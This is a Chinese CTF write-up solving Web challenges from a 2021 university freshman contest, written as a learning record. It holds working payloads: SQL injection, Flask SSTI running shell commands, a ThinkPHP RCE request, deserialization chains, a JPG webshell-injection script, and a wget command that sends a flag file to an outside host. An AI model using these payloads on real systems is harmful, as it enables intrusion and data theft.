2021暨南大学CTF新生杯(Web篇)

目录

    • 【1星】baby_sql
    • 【3星】checkin
      • 相关链接
      • 弱语言判断
      • 科学技术法绕过
      • 字符串绕过
    • 【1星】baby-upload
    • 【2星】baby-unserialize
      • 绕过wake_up
      • 十六进制绕过
    • 【2星】easy-sql
      • 构建tamper
      • 手动注入
    • 【2星】easy_js
      • 处理十六进制的JS源码
      • 阅读JS源码
      • 控制台修改
    • 【2星】easy-upload
      • 伪造后缀名字
      • 上传一句话以及菜刀
      • 拿到flag
    • 【4星】easy-rce
      • 仅能函数执行?
      • 我该怎么绕过读取文件呢?
    • 【3星】easy-unserialize
      • 字符逃逸
      • 相关文章链接
    • 【2星】ezPy
      • 基本套路flask模版注入套路
      • 发现敏感函数
      • 设置为全局然后执行cmd
    • 【3星】simple_php
      • 拿到备份文件
      • 无数字字母过滤
    • 【2星】thinkphp
      • 查询Tp版本号
      • 套路直接拿下
    • 【4星】ezpop
      • POP链接寻找入口
      • CVE漏洞绕过__wakeup()
      • $this->a->d 寻找突破口
      • 可执行绕过写入文件
    • 【4星】PictureGenerator
      • 发现原题?
      • 命令执行绕过
      • 限制长度阅读FLAG
    • 【5星】imgBed
      • 初次尝试
      • RCE远程读取文件
      • 开始代码审计
      • 二次渲染如何破?
      • Disable Functions && FFI
      • ELF可执行文件
    • 【杂七杂八】拓展链接

收获颇多~ 边学边做 上战果!

我查了不少的资料

复盘的时候我又一个个翻看我的历史记录

因为我花了很多时间去阅读找灵感!但我不想用完就丢弃了!

2021暨南大学CTF新生杯(Web篇)_第1张图片

【1星】baby_sql

  • 爆数据库

python2 sqlmap.py -r ./sql.txt --db

2021暨南大学CTF新生杯(Web篇)_第2张图片

  • 爆表名

python2 sqlmap.py -r ./sql.txt -D babysql --tables

2021暨南大学CTF新生杯(Web篇)_第3张图片
  • 爆列

python2 sqlmap.py -r ./sql.txt -D babysql -T flag --columns

2021暨南大学CTF新生杯(Web篇)_第4张图片
  • 爆数据

python2 sqlmap.py -r ./sql.txt -D babysql -T flag -C ‘flag’ --dump

2021暨南大学CTF新生杯(Web篇)_第5张图片

【3星】checkin

相关链接

相关链接

  • 南邮CTF–md5_碰撞
  • PHP处理0e开头md5时hash字符串漏洞
  • md5( a ) = = = m d 5 ( m d 5 ( a)===md5(md5( a)===md5(md5(b))
  • CTF中常见php-MD5()函数漏洞
  • CTF中常见的 PHP 弱类型漏洞总结

弱语言判断

b[0]=C&b[2]=F&b[1]=T

2021暨南大学CTF新生杯(Web篇)_第6张图片

科学技术法绕过

考的科学技术法

$num2 = ‘9e9’;

2021暨南大学CTF新生杯(Web篇)_第7张图片

字符串绕过

md5a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&md5b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

2021暨南大学CTF新生杯(Web篇)_第8张图片

2021暨南大学CTF新生杯(Web篇)_第9张图片

【1星】baby-upload

送分

2021暨南大学CTF新生杯(Web篇)_第10张图片

【2星】baby-unserialize

绕过wake_up

wake_up无法复现,但是知道考点在最后更改就好了

十六进制绕过

绕过flag是可以用反序列化出发16进制的编译

2021暨南大学CTF新生杯(Web篇)_第11张图片

【2星】easy-sql

构建tamper

def tamper(payload, **kwargs):
    payload= payload.lower()
    payload= payload.replace('union' , 'uniunionon')
    payload= payload.replace('select' , 'selselectect')
    payload= payload.replace('where' , 'whewherere ')
    payload= payload.replace('or' , 'oorr')
    payload= payload.replace('ro' , 'rroo')
    payload= payload.replace('flag' , 'flflagag')
    payload= payload.replace("'" , '"')
    # payload= payload.replace('from' , 'frfromom')
    # payload= payload.replace('information' , 'infoorrmation')
    # payload= payload.replace('and' , 'anandd')
    # payload= payload.replace('by' , 'bbyy')
    retVal=payload
    return retVal

payload = '" union select 1,2,(select flag from easysql.flag) #'
res = tamper(payload)
print(res)

手动注入

找到注入点以及类型

发现是 双引号才行

  • 验证联合注入 查看字段

admin" uniunionon selselectect 1,2,3 #

  • 查看数据库

admin" uniunionon selselectect 1,2,(selselectect grrooup_concat(schema_name) frroom infoorrmation_schema.schemata) #

2021暨南大学CTF新生杯(Web篇)_第12张图片
  • 查看表名字

admin" uniunionon selselectect 1,2,(selselectect grrooup_concat(table_name) frroom infoorrmation_schema.tables whewherere table_schema=“easysql”) #

image-20211123173943111
  • 获列名

admin" uniunionon selselectect 1,2,(selselectect grrooup_concat(column_name) frroom infoorrmation_schema.columns whewherere table_schema=“easysql” and table_name=“flflagag”) #

2021暨南大学CTF新生杯(Web篇)_第13张图片
  • 获取flag

admin" uniunionon selselectect 1,2,(selselectect flflagag frroom easysql.flflagag) #

2021暨南大学CTF新生杯(Web篇)_第14张图片

【2星】easy_js

处理十六进制的JS源码

# res  = bytes(b'123abc\xe5\xa5\xbd').decode('utf-8')
# print(res)


with open('/Library/MyMac/CTF/py脚本/test.js', 'r') as f:
    s = f.read()  # 读不读取都没关系,耿直点直接重新赋值
    s = """
			# 这个直接复制粘贴
    """
    res  = bytes(s, encoding = "utf8").decode('utf-8')
    print(res)

阅读JS源码

2021暨南大学CTF新生杯(Web篇)_第15张图片

控制台修改

将window.H1 = 99999998

手动点一下 触发得到flag

这里注意 依序要 > 99999999

因为到了 99999999 才会触发

【2星】easy-upload

伪造后缀名字

老规矩自己搭建个环境看看,发现与sql道理一摸一样


// 设置黑名单
$blacklist = array("php", "php5", "php4", "php3", "php2", "html", "htm", "phtml", "pht", "htaccess", "ini"); 
$file_name = trim($_FILES['upload_file']['name'], " \t\n\r\0\x0B."); // 出去文件名两边
echo '文件名字:'.$file_name.'
'
; // strrchr($file_name, '.') 1.php => .php 2.php.php2 => .php2 // substr(strrchr($file_name, '.'), 1); 2.php.php2 => php2 $file_ext = substr(strrchr($file_name, '.'), 1); // 获取后缀名字 echo '文件后缀:'.$file_ext.'
'
; $file_ext = strtolower($file_ext); // 全部转换为小写 $file_ext = trim($file_ext, " \t\n\r\0\x0B."); // 去除后缀名左右的符号 $file_ext = str_ireplace($blacklist, "", $file_ext); // replace文件名 echo '过滤后的文件名后缀:'.$file_ext.'
'
; $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = "uploads" . '/' . md5(time()) . "." . $file_ext; echo '文件路径:'.$img_path.'
'
; echo '
'
;

上传一句话以及菜刀

2021暨南大学CTF新生杯(Web篇)_第16张图片

拿到flag

2021暨南大学CTF新生杯(Web篇)_第17张图片

【4星】easy-rce

仅能函数执行?

考的 无参数rce

参考链接

CTF中的无参数RCE

【CTF竞赛】无参数RCE总结

无参数函数执行

Byte CTF web1 boring_code Writeup

两处:

  • 第一处意味着这个是rce无参数并且函数执行

  • 第二处意味着很多不能使用

用时间来获取到46转为.

2021暨南大学CTF新生杯(Web篇)_第18张图片

回报长度2393 发现目标文件存在相同路径下

先把注释部分打开 看时间在20左右开始跑,跑到55停住

发现根目录不存在而在网站根目录中

import requests
from tqdm import tqdm
import time

# shell=var_dump(scandir(chr(ord(chr(time())))));
def log(location, text):
    with open(location, "a+", encoding='utf-8') as f:
        f.write(text)

path = '/Library/MyMac/CTF/py脚本/'
url = 'http://35.229.138.83:12807/'
d = {'shell': 'show_source(end(scandir(chr(ord(chr(time()))))));'}

# 检测时间
# t = int(time.time()) % 256
# print(t)

lengthList = []
for x in tqdm(range(1000)):
    t = int(time.time()) % 256
    print(t)
    r = requests.post(url, data=d)
    if len(r.text) not in lengthList:
        lengthList.append(len(r.text))
        if 'flag' in r.text:
            print('flag出现')
        log(path + 'getFileContent2.txt', str(len(r.text)) + '\n')
        log(path + 'getFileContent2.txt', str(r.text) + '\n')
        log(path + 'getFileContent2.txt', '\n')
print('Done')
print(lengthList)
2021暨南大学CTF新生杯(Web篇)_第19张图片

我该怎么绕过读取文件呢?

我翻遍了file函数,基本要么需要2个参数,要么要指针才行

我吐了。一直卡在最后一步,结果灵光一闪,我不去读,我显示出来就好了

show_source 或者 hightlight 不就出来了吗?!

2021暨南大学CTF新生杯(Web篇)_第20张图片

【3星】easy-unserialize

字符逃逸

考点就单一了

但是我也不会呀!!

学了好久 懂了为什么以及怎么绕过去了

直接看图吧!

  • 搭建环境
2021暨南大学CTF新生杯(Web篇)_第21张图片
  • 手动写逻辑,找出注入点
// PHP反序列化字符逃逸过滤后字符变少
// 参考链接 https://www.freebuf.com/articles/web/285985.html
// 目标payload为触发getflag类
// 开始构造 'O:7:"getflag":1:{s:4:"file";s:8:"flag.php";}'
// 我们要通过字符逃逸使unserialize同是反序列化2个
// 我们想要的是类似这种效果
// O:3:"tmp":2:{s:4:"str1";s:21: "easy";s:4:"str2";s:4:"    ;};O:7:"getflag":1:{s:4:"file";s:8:"flag.php    ";}"
// 在这里人为构造的payload: ;};O:7:"getflag":1:{s:4:"file";s:8:"flag.php
// 后来发现不成功 而是在A中触发B 而非能反序列化2个
// $test = 'O:3:"tmp":1:{s:4:"str1";s:21: "easy";s:4:"str2";s:4:";},O:7:"getflag":1:{s:4:"file";s:8:"flag.php";}"';

// 验证2个
// O:3:"tmp":2:{s:4:"str1";s:4:"easy";s:4:"str2";s:4:"easy";}
// O:7:"getflag":1:{s:4:"file";s:8:"flag.php";}
$test1 = 'O:3:"tmp":2:{s:4:"str1";s:4:"easy";s:4:"str2";s:4:"easy";}';
$test2 = 'O:7:"getflag":1:{s:4:"file";s:8:"flag.php";}';
$test3 = 'O:3:"tmp":2:{s:4:"str1";s:4:"easy";s:4:"str2";O:7:"getflag":1:{s:4:"file";s:8:"flag.php";}}";}';
$test3 = 'O:3:"tmp":2:{s:4:"str1";s:4:"easy";s:4:"str2";s:4:" ;s:4:"str2";O:7:"getflag":1:{s:4:"file";s:8:"flag.php";}} ";}';
$test3 = 'O:3:"tmp":2:{s:4:"str1";s:21:"easy";s:4:"str2";s:4:";s:4:"str2";O:7:"getflag":1:{s:4:"file";s:8:"flag.php";}}";}';
// $str2 = ';s:4:"str2";O:7:"getflag":1:{s:4:"file";s:8:"flag.php";}}'
// $str1 = 'easy'
// unserialize($test3);
// var_dump(unserialize($test3));
  • 验证拿Flag
2021暨南大学CTF新生杯(Web篇)_第22张图片 2021暨南大学CTF新生杯(Web篇)_第23张图片

相关文章链接

  • 有意思的反序列化字符串逃逸
  • PHP反序列化 — 字符逃逸
  • PHP反序列化字符逃逸详解
  • 详解php反序列化
  • [CTF]PHP反序列化总结
  • PHP 原生类在 CTF 中的利用
  • 利用 phar 拓展 php 反序列化漏洞攻击面
  • PHP 反序列化漏洞入门学习笔记
  • CTFshow刷题日记-WEB-反序列化篇
  • CTF之萌新反序列化学习
  • 详谈CTF中常出现的PHP反序列化漏洞

【2星】ezPy

基本套路flask模版注入套路

参考链接:

python 沙箱逃逸与SSTI

flask之ssti模版注入从零到入门

从零学习flask模板注入

都是套路了,要知道几个几个注入基础

  • class
  • base
  • mro
  • subclasses
  • init
  • globals
2021暨南大学CTF新生杯(Web篇)_第24张图片
// 都是套路但是不要心急 一步步走来看
name={{"".__class__.__bases__[0].__subclasses__()}}
name={{"".__class__.__mro__[0].__subclasses__()}}
name={{"".__class__.__mro__[1].__subclasses__()}}
name={{"".__class__.__mro__[2].__subclasses__()}} # 报错

发现敏感函数

发现函数os._wrap_close寻下标

string = "耿直点直接复制下来"
stringList = string.replace('[','').replace(']','').split(',')
print(len(stringList))
for index,each in enumerate(stringList):
    if 'os._wrap_close' in each:
        print(f'下标为%d'%index)

设置为全局然后执行cmd

?name={{"".__class__.__bases__[0].__subclasses__()[117].__init__.__globals__["popen"]('ls ./').read()}}
?name={{"".__class__.__bases__[0].__subclasses__()[117].__init__.__globals__["popen"]('cat /').read()}}
?name={{"".__class__.__bases__[0].__subclasses__()[117].__init__.__globals__["popen"]('cat /flag').read()}}

拿到flag

2021暨南大学CTF新生杯(Web篇)_第25张图片

【3星】simple_php

拿到备份文件

ctf常见源码泄露

提示说 哦豁我的电脑不小心黑屏了

然后翻看源码 也没啥hint

然后就去试备份文件

无数字字母过滤

参考链接

无字母数字webshell总结

由一道题引发的对无字母数字WebShell的思考

不包含数字字母的webshell

创造tips的秘籍——PHP回调后门

CTF一道web题小结-无数字字母getFlag()

ctf中常见php rce绕过总结

从一道CTF题理解无字母数字RCE

无字母数字webshell之提高篇

一些不包含数字和字母的webshell

preg_match绕过总结

PHP利用PCRE回溯次数限制绕过某些安全限制

最难的部分

当时我拿到这个时候已经人傻了

相当于啥都过不去

然后发现是


function getflag(){
    echo '开始执行getflag函数';
}
$code = $_GET['code'];
echo '当前的code:'.$code.'
'
; echo '当前长度:'.strlen($code).'
'
; if(strlen($code)>14){ die("too long !"); } // 发现fuzz // ~ ( ) - \ | ; : / 空格 % if(preg_match('/[a-zA-Z0-9_&^
"\'$#@!*&+=.`\[\]{}?,]+/'
,$code)){ die(" No ! No !"); } echo '开始执行'.$code.'
'
; @eval($code); // 找~ // $a = (~getflag); // echo $a.'
';
// echo urlencode($a).'
';
// $b = ~$a; // echo $b.'
';
// %98%9A%8B%99%93%9E%98
2021暨南大学CTF新生杯(Web篇)_第26张图片

最后的payload http://127.0.0.1:82/?code=(~%98%9A%8B%99%93%9E%98)();

2021暨南大学CTF新生杯(Web篇)_第27张图片

【2星】thinkphp

查询Tp版本号

直接随便输入点看版本

Thinkphp-RCE-POC 合集仓库查看

2021暨南大学CTF新生杯(Web篇)_第28张图片

套路直接拿下

这种题都是套路了,直接放payload

POST /index.php?s=captcha HTTP/1.1
Host: 192.168.220.141:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 73

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=pwd

// 2个点
// POST /index.php?s=captcha
// _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=pwd
2021暨南大学CTF新生杯(Web篇)_第29张图片 2021暨南大学CTF新生杯(Web篇)_第30张图片 2021暨南大学CTF新生杯(Web篇)_第31张图片

【4星】ezpop

这个就舒服多了 代码审计 一步一步POP链就好了

为了能复现看到 源码放出来!

然后也顺便放一下我是如何debug一步步出来的


error_reporting(0);
class openfunc{
    public $object;
    function __construct(){
        $this->object=new normal();
    }
    function __wakeup(){
        $this->object=new normal();
    }
    function __destruct(){
        $this->object->action();
    }
}
abstract class hack {

    abstract public function pass();

    public function action() {
        $this->pass();
    }
}
class normal{
    public $d;
    function action(){
        echo "you must bypass it";
    }
}
class evil extends hack{
    public $data;
    public $a;
    public $b; 
    public $c;
    public function pass(){
        $this->a = unserialize($this->b);
        $this->a->d = urldecode(date($this->c));
        if($this->a->d === 'shell'){
           $this->shell();
        }
        else{
            die(date('Y/m/d H:i:s'));
        }
    }
    function shell(){
        if(preg_match('/system|eval|exec|base|compress|chr|ord|str|replace|pack|assert|preg|replace|create|function|call|\~|\^|\`|flag|cat|tac|more|tail|echo|require|include|proc|open|read|shell|file|put|get|contents|dir|link|dl|var|dump|php/i',$this->data)){
            die("you die");
        }
        $dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/';
        if(!file_exists($dir)){
            mkdir($dir);
        }
        echo $dir;
        file_put_contents("$dir" . "hack.php", $this->data);
    }
}

if (isset($_GET['Xp0int']))  
{
    $Data = unserialize(base64_decode($_GET['Xp0int']));
} 
else 
{ 
    highlight_file(__file__); 
}
// 这里都是我一步步弄出来的
// 自己搭建个小服务器 来弄呗!
<?php
abstract class hack {

    abstract public function pass();

    public function action() {
        $this->pass();
    }
}

class normal{
    public $d;
    function action(){
        echo "you must bypass it";
    }
}

// 链尾
class openfunc{
    public $object;
    function __construct(){
        $this->object=new normal();
    }
    // function __wakeup(){  // 反序列化开始调用  // 这里用<7.0.1的漏洞不触发__wakeup就行
    //     echo 'openfunc开始苏醒了。';
    //     $this->object=new normal();
    // }
    function __destruct(){  // 销毁开始调用
        echo 'openfunc开始销毁了。
'
; $this->object->action(); } } class evil extends hack{ public $data; public $a; public $b; public $c; public function pass(){ echo '我们来到了pass()咯
'
; $this->a = unserialize($this->b); //b应该是反序列化了normal() var_dump($this->c); $this->a->d = urldecode(date($this->c)); // 给normal()的d属性赋值转转下来为shell echo '$this->a->d:'.$this->a->d.'
'
; // urldecode('shell') === 'shell' if($this->a->d === 'shell'){ $this->shell(); // 要做到这里 } else{ echo '挂掉了'; die(date('Y/m/d H:i:s')); } } function shell(){ echo '开始执行shell(),当前的$this->data:'.$this->data.'
'
; if(preg_match('/system|eval|exec|base|compress|chr|ord|str|replace|pack|assert|preg|replace|create|function|call|\~|\^|\`|flag|cat|tac|more|tail|echo|require|include|proc|open|read|shell|file|put|get|contents|dir|link|dl|var|dump|php/i',$this->data)){ die("you die"); }else{ echo '即将把:'.$this->data.' 写入文件
'
; } file_put_contents("./hack.php", $this->data); // 要把一句话写进来 } } // 入口 // if (isset($_GET['Xp0int'])) // { // // 先base64解码一遍 // // 开始反序列化 // // $Data = unserialize(base64_decode($_GET['Xp0int'])); // $encode = 'Tzo4OiJvcGVuZnVuYyI6MTp7czo2OiJvYmplY3QiO086NDoiZXZpbCI6NDp7czo0OiJkYXRhIjtzOjcwOiI8PyA9IHVybGRuY29kZSgnJTY1JTc2JTYxJTZjJyk7PSB1cmxkbmNvZGUoJyU1ZiU1MCU0ZiU1MyU1NCcpOz0kOygpOz8+IjtzOjE6ImEiO047czoxOiJiIjtzOjI3OiJPOjY6Im5vcm1hbCI6MTp7czoxOiJkIjtOO30iO3M6MToiYyI7czoxMDoiXHNcaFxlXGxcbCI7fX0='; // unserialize(base64_decode($encode)); // var_dump($encode === $_GET['Xp0int']); // var_dump($_GET['Xp0int']); // unserialize(base64_decode($_GET['Xp0int'])); // } // else // { // highlight_file(__file__); // } // eval(@$_POST['a']); $data = "1"; // $len = strlen($data); // $shell = 'O:8:"openfunc":1:{s:6:"object";O:4:"evil":4:{s:4:"data";s:'.$len.':"'.$data.'";s:1:"a";N;s:1:"b";s:27:"O:6:"normal":1:{s:1:"d";N;}";s:1:"c";s:10:"\s\h\e\l\l";}}'; // $shell2 = 'O:8:"openfunc":2:{s:6:"object";O:4:"evil":4:{s:4:"data";s:'.$len.':"'.$data.'";s:1:"a";N;s:1:"b";s:27:"O:6:"normal":1:{s:1:"d";N;}";s:1:"c";s:10:"\s\h\e\l\l";}}'; // $encode2 = base64_encode($shell2); // echo '绕过wakeUP'.'
';
// var_dump($encode2); // echo '此时的shell: '.$shell.'
';
// // echo '此时的shell: O:8:"openfunc":1:{s:6:"object";O:4:"evil":4:{s:4:"data";s:70:"'; // // $bypass = 'O:8:"openfunc":2:{s:6:"object";O:4:"evil":4:{s:4:"data";s:'.$len.':"'.$data.'";s:1:"a";N;s:1:"b";s:27:"O:6:"normal":1:{s:1:"d";N;}";s:1:"c";s:10:"\s\h\e\l\l";}}'; // // echo 'base64编码后:'.base64_encode($bypass).'
';
// unserialize($shell); // $encode = base64_encode($shell); // var_dump($encode); // unserialize(base64_decode($encode)); // 肯定是反序列化openfunc // 绕过normal类的触发hack的action()或者是子类evil的action() // 通过CVE漏洞绕过 // 处理evilabcd // data绕过写入文件 $data = ""; $len = strlen($data); $shell = 'O:8:"openfunc":1:{s:6:"object";O:4:"evil":4:{s:4:"data";s:'.$len.':"'.$data.'";s:1:"a";N;s:1:"b";s:27:"O:6:"normal":1:{s:1:"d";N;}";s:1:"c";s:10:"\s\h\e\l\l";}}'; $shell2 = 'O:8:"openfunc":2:{s:6:"object";O:4:"evil":4:{s:4:"data";s:'.$len.':"'.$data.'";s:1:"a";N;s:1:"b";s:27:"O:6:"normal":1:{s:1:"d";N;}";s:1:"c";s:10:"\s\h\e\l\l";}}'; $encode2 = base64_encode($shell2); var_dump($encode2); $encode = base64_encode($shell); unserialize(base64_decode($encode));

参考链接

PHP反序列化由浅入深

PHP反序列化—构造POP链

CTF 之 绕过限制利用curl读取写入文件

探索php伪协议以及死亡绕过

PHP利用PCRE回溯次数限制绕过某些安全限制

无字母数字webshell总结

POP链接寻找入口

反序列化 openfunc

CVE漏洞绕过__wakeup()

绕过normal类的触发hack的action()或者是子类evil的action()

$this->a->d 寻找突破口

urldecode 怎么绕? 官方手册写了的 加\

$this->a = unserialize($this->b);  //b应该是反序列化了normal()
var_dump($this->c);
$this->a->d = urldecode(date($this->c));  // 给normal()的d属性赋值转转下来为shell
echo '$this->a->d:'.$this->a->d.'
'
;

可执行绕过写入文件

这种过滤最不可怕!

因为总存在骚操作函数然后过去咯!

明白<=> 的含义

最后确定了passthru 执行

注意点⚠️

必须再用burp进行url编码

不然base64_encode后的+会被浏览器识别为空格

别问我为什么知道 burp对比器发现了华点!一个字节呀!

$data = "";
$len = strlen($data);
$shell = 'O:8:"openfunc":1:{s:6:"object";O:4:"evil":4:{s:4:"data";s:'.$len.':"'.$data.'";s:1:"a";N;s:1:"b";s:27:"O:6:"normal":1:{s:1:"d";N;}";s:1:"c";s:10:"\s\h\e\l\l";}}';
$shell2 = 'O:8:"openfunc":2:{s:6:"object";O:4:"evil":4:{s:4:"data";s:'.$len.':"'.$data.'";s:1:"a";N;s:1:"b";s:27:"O:6:"normal":1:{s:1:"d";N;}";s:1:"c";s:10:"\s\h\e\l\l";}}';
$encode2 = base64_encode($shell2);
var_dump($encode2);
$encode = base64_encode($shell);
unserialize(base64_decode($encode));
  • 发现flag并拿到
2021暨南大学CTF新生杯(Web篇)_第32张图片 2021暨南大学CTF新生杯(Web篇)_第33张图片

【4星】PictureGenerator

说个搞笑的哈,他提供的源码我竟然没用上,因为我发现了原题(bushi

但是跟原题又不同!

发现原题?

参考链接

RaRCTF 2021 WriteUps

lemonthinker合集

当我随便写了一个 生成了图片后 发现了关键词 lemonthink

然后我就去找WriteUp了

一个是远程包含~好的根本没用

一个是$()开始执行 好的过滤…

这个时候就陷入了僵局~

(因为本人太菜 还不知道类似$()的)

命令执行绕过

参考链接

CTF中命令执行绕过方法

CTF—命令执行总结

浅谈命令执行的绕过方法

Linux 中 shell 中反引号与 $() 的对比

然而看了源码就知道了

要linux执行,然后就去找呀找~(都是PHP那边的)

我甚至用了f-string的特性 尝试16进制绕过

直到我看到了反引号!!

好的成功过去了!

不能存在flag 过滤了$ 过滤了"

2021暨南大学CTF新生杯(Web篇)_第34张图片

限制长度阅读FLAG

我尝试

$(cat ./fla* | xargs -I{} wget "https://hengyimonster.top/hacker/get.php/?info={}")失败

awk -F{ '{print $2}' /flag 失败

最后是要读取字节且不能存在flag

因为是图片 所以没法抓包 手动~

// 害怕超过长度 结果这么长
payload: `cat /flag | cut -b 1`
payload `cat /flag | cut -b1-4`
5-10 {fhfgu
11-15 fghui
16-20 _ewft
21-25 ftdf_
26-30 whfdw
31-35 eyidg
36-40 _gafd
41-45 hjasd
46-50 h_egh
51-55 fhef_
56-60 rhgfj
61-65 rikfu
66-70 !!!!}

// 大胆点 因为图片会挡住  
payload `cat /flag | cut -b5-20` ...

// flag
{fhfgufghui_ewftftdf_whfdweyidg_gafdhjasdh_eghfhef_rhgfjrikfu!!!!}

【5星】imgBed

初次尝试

下面的参考链接都是我边做边学的 人已经傻掉了

当我拿到这道题的时候,我最开始以为是二次注入

反正以为是SQL注入,拿到管理员的权限~

就先正常注册个账号,正常登陆看看了。

进去看见上传图片? RCE?

上传个图片看看(一句话木马~)

哦豁直接找不到404返回了 怎么办呢?

RCE远程读取文件

参考链接:

CTF-WEB:PHP 伪协议

从CTF学习文件包含

CTF-文件包含漏洞

一些CTF 做题的tricks

PHP伪协议总结

浅析php文件包含及其getshell的姿势

我看URL带参数?

随便敲个1 ~哦豁~include!!

这不就来了吗?

2021暨南大学CTF新生杯(Web篇)_第35张图片

然后我尝试下远程包含,为了防止阿里云发短信说我服务器存在后门,就先随便包含个~

成功被禁止了~

2021暨南大学CTF新生杯(Web篇)_第36张图片
$ payload  php://filter/read=convert.base64-encode/resource=./upload.php
2021暨南大学CTF新生杯(Web篇)_第37张图片

开始代码审计

参考链接

Upload-labs 20关通关笔记

我拿到了upload.php 以及 class.php

index.php 好像超出范围了

一步步分析发现是个二次渲染

这也就解释了为什么我会找不到我的图片了~~

具体的函数 自己百度下~PHP操作手册写的很清楚啦!

2021暨南大学CTF新生杯(Web篇)_第38张图片

二次渲染如何破?

参考链接

upload-labs之pass 16详细分析

发现是个二次渲染的问题

二次渲染查资料后gif最适合

上面那个很好的诠释了GIF

// 我最开始写在了最后面

<?php phpinfo();?>
  
// 会发现GIF会生成成功 但是重新下载下来就已经不见了
  
// 然后我用Burp的对比器进行对比~
// 发现了只要把注入写到头部末尾就没问题
// 见下图

同样的~ JPG也行,脚本我贴出来哈~

但是生成的图片不一定成功,记得在多试试~


    /*

    The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().
    It is necessary that the size and quality of the initial image are the same as those of the processed image.

    1) Upload an arbitrary image via secured files upload script
    2) Save the processed image and launch:
    jpg_payload.php 

    In case of successful injection you will get a specially crafted image, which should be uploaded again.

    Since the most straightforward injection method is used, the following problems can occur:
    1) After the second processing the injected data may become partially corrupted.
    2) The jpg_payload.php script outputs "Something's wrong".
    If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.

    Sergey Bobrov @Black2Fan.

    See also:
    https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

    */

    $miniPayload = "";


    if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
        die('php-gd is not installed');
    }

    if(!isset($argv[1])) {
        die('php jpg_payload.php ');
    }

    set_error_handler("custom_error_handler");

    for($pad = 0; $pad < 1024; $pad++) {
        $nullbytePayloadSize = $pad;
        $dis = new DataInputStream($argv[1]);
        $outStream = file_get_contents($argv[1]);
        $extraBytes = 0;
        $correctImage = TRUE;

        if($dis->readShort() != 0xFFD8) {
            die('Incorrect SOI marker');
        }

        while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
            $marker = $dis->readByte();
            $size = $dis->readShort() - 2;
            $dis->skip($size);
            if($marker === 0xDA) {
                $startPos = $dis->seek();
                $outStreamTmp = 
                    substr($outStream, 0, $startPos) . 
                    $miniPayload . 
                    str_repeat("\0",$nullbytePayloadSize) . 
                    substr($outStream, $startPos);
                checkImage('_'.$argv[1], $outStreamTmp, TRUE);
                if($extraBytes !== 0) {
                    while((!$dis->eof())) {
                        if($dis->readByte() === 0xFF) {
                            if($dis->readByte !== 0x00) {
                                break;
                            }
                        }
                    }
                    $stopPos = $dis->seek() - 2;
                    $imageStreamSize = $stopPos - $startPos;
                    $outStream = 
                        substr($outStream, 0, $startPos) . 
                        $miniPayload . 
                        substr(
                            str_repeat("\0",$nullbytePayloadSize).
                                substr($outStream, $startPos, $imageStreamSize),
                            0,
                            $nullbytePayloadSize+$imageStreamSize-$extraBytes) . 
                                substr($outStream, $stopPos);
                } elseif($correctImage) {
                    $outStream = $outStreamTmp;
                } else {
                    break;
                }
                if(checkImage('payload_'.$argv[1], $outStream)) {
                    die('Success!');
                } else {
                    break;
                }
            }
        }
    }
    unlink('payload_'.$argv[1]);
    die('Something\'s wrong');

    function checkImage($filename, $data, $unlink = FALSE) {
        global $correctImage;
        file_put_contents($filename, $data);
        $correctImage = TRUE;
        imagecreatefromjpeg($filename);
        if($unlink)
            unlink($filename);
        return $correctImage;
    }

    function custom_error_handler($errno, $errstr, $errfile, $errline) {
        global $extraBytes, $correctImage;
        $correctImage = FALSE;
        if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
            if(isset($m[1])) {
                $extraBytes = (int)$m[1];
            }
        }
    }

    class DataInputStream {
        private $binData;
        private $order;
        private $size;

        public function __construct($filename, $order = false, $fromString = false) {
            $this->binData = '';
            $this->order = $order;
            if(!$fromString) {
                if(!file_exists($filename) || !is_file($filename))
                    die('File not exists ['.$filename.']');
                $this->binData = file_get_contents($filename);
            } else {
                $this->binData = $filename;
            }
            $this->size = strlen($this->binData);
        }

        public function seek() {
            return ($this->size - strlen($this->binData));
        }

        public function skip($skip) {
            $this->binData = substr($this->binData, $skip);
        }

        public function readByte() {
            if($this->eof()) {
                die('End Of File');
            }
            $byte = substr($this->binData, 0, 1);
            $this->binData = substr($this->binData, 1);
            return ord($byte);
        }

        public function readShort() {
            if(strlen($this->binData) < 2) {
                die('End Of File');
            }
            $short = substr($this->binData, 0, 2);
            $this->binData = substr($this->binData, 2);
            if($this->order) {
                $short = (ord($short[1]) << 8) + ord($short[0]);
            } else {
                $short = (ord($short[0]) << 8) + ord($short[1]);
            }
            return $short;
        }

        public function eof() {
            return !$this->binData||(strlen($this->binData) === 0);
        }
    }
?>

食用方法 :php jpg_payload.php 1.jpg 上传图片成功

因为包括php文件, 用action包含成功执行

查看Phpinfo后,发现FFI可以Bypass(根据题目的提示 发现FFI是OPEN的)

此时再去看会发现很多函数都是禁止的~那么进入下一段!

2021暨南大学CTF新生杯(Web篇)_第39张图片

Disable Functions && FFI

参考链接

PHP FFI详解 - 一种全新的PHP扩展方式

绕过Disable Functions来搞事情

